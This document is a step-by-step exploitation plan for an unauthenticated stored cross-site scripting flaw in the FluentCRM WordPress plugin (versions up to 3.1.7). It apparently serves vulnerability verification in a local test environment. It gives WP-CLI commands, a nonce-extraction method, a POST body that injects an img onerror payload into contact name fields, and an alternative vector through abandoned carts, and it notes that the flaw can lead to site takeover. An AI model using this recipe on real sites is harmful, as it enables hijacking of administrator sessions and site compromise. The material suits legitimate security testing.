FluentCRM – Email Newsletter, Automation, Email Marketing, Email Campaigns, Optins, Leads, and CRM Solution <= 3.1.7 - Unauthenticated Stored Cross-Site Scripting

Vulnerability Summary

The FluentCRM plugin (versions <= 3.1.7) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). This occurs because the plugin fails to properly sanitize and escape user-supplied data—specifically contact names and abandoned cart details—before storing them in the database and subsequently rendering them in the WordPress administrative dashboard.

The vulnerability is particularly critical because it can be triggered by unauthenticated users (e.g., via subscription forms or abandoned cart tracking), and the payload executes in the context of an authenticated administrator, potentially leading to full site takeover through malicious script execution (e.g., creating a new admin user).

Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action: fluentcrm_contacts_subscribe (standard subscription) or FluentCart tracking endpoints.
• Vulnerable Parameters: first_name, last_name, or full_name (in abandoned cart context).
• Authentication: None required (Unauthenticated).
• Preconditions:
  1. The FluentCRM plugin must be active.
  2. To obtain a valid nonce for the subscription endpoint, a page containing a FluentCRM form (or the default tracking script) must be accessible.

Code Flow

1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the action fluentcrm_contacts_subscribe.
2. Processing: The request is handled (likely in app/Hooks/Handlers/ExternalEntry.php or app/Http/Controllers/ContactController.php). The first_name and last_name parameters are captured.
3. Storage: The input is stored in the fc_subscribers database table. While basic sanitization might occur, it is insufficient to prevent XSS payloads like <img src=x onerror=alert(1)>.
4. Admin View: An administrator navigates to FluentCRM > Contacts.
5. Sink: The Contacts listing or the Contact Profile page retrieves the name from the database. In app/Hooks/Handlers/PurchaseHistory.php or the main Contacts Vue/React dashboard, the name is rendered. If the rendering logic uses v-html (Vue) or fails to use esc_html() (PHP), the payload executes.
6. Example Sink in PurchaseHistory.php:

   // Line 54
   $html .= '<li><span class="fc_list_sub">' . $stat['title'] . '</span> <span class="fc_list_value">' . $stat['value'] . '</span></li>';
   

   If $stat['value'] contains a contact's name or custom field injected by the attacker, it is concatenated directly into $html without escaping.

Nonce Acquisition Strategy

FluentCRM typically enqueues a frontend script for form handling and tracking. The nonce is localized in a JavaScript object.

1. Find a Form: Use WP-CLI to find an existing FluentCRM form or create a temporary page with a form shortcode.
   • Command: wp post create --post_type=page --post_status=publish --post_content='[fluentcrm_form id="1"]' --post_title='Subscription Page'
2. Navigate: Use browser_navigate to visit the newly created page.
3. Extract Nonce: The plugin localizes data into the fluentcrm_front_vars object.
   • JS Variable: window.fluentcrm_front_vars
   • Nonce Key: nonce
   • Command: browser_eval("window.fluentcrm_front_vars?.nonce")

Exploitation Strategy

Step 1: Data Setup

Create a page with a FluentCRM form to ensure the frontend variables are loaded.

wp post create --post_type=page --post_title="Sign Up" --post_status=publish --post_content='[fluentcrm_form id="1"]'

Step 2: Nonce Extraction

1. Navigate to the page /sign-up/.
2. Execute browser_eval("window.fluentcrm_front_vars.nonce") to get the nonce for the fluentcrm_contacts_subscribe action.

Step 3: Payload Injection (Unauthenticated)

Send a POST request to admin-ajax.php to create a new contact with an XSS payload.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=fluentcrm_contacts_subscribe&
  first_name=<img src=x onerror=alert("XSS_IN_NAME")>&
  last_name=Attacker&
  email=evil@example.com&
  _wpnonce=[EXTRACTED_NONCE]
  

Step 4: Admin Trigger

Navigate to the FluentCRM Contacts page as an administrator.

1. Log in as admin.
2. Navigate to http://localhost:8080/wp-admin/admin.php?page=fluentcrm-admin#/contacts.
3. Observe the alert box triggered by the injected first_name.

Test Data Setup

1. Plugin Configuration: Ensure FluentCRM is installed and at least one List exists (required for some subscription forms).
   • wp eval "FluentCrm\App\Models\Lists::create(['title' => 'Default List', 'slug' => 'default-list']);"
2. User: No special user required (attacker is unauthenticated).

Expected Results

• The http_request should return a JSON success message (e.g., {"status": "success", ...}).
• When the admin views the contact list, the browser should execute the JavaScript in the onerror handler of the image tag.

Verification Steps

Check the database to confirm the payload is stored unescaped:

wp db query "SELECT first_name FROM $(wp db prefix)fc_subscribers WHERE email='evil@example.com'"

The output should contain the raw <img ...> tag.

Alternative Approaches

If the fluentcrm_contacts_subscribe action is not available or requires different parameters, try the Abandoned Cart vector:

1. Locate the tracking endpoint (often used via the FluentCart driver).
2. Identify the fc_ab_fct_cart_nonce from the frontend script localized via fc_ab_fct_cart.
3. Send a tracking fragment with a malicious full_name.
4. Navigate to FluentCRM > Sales > Abandoned Carts in the admin panel to trigger the XSS.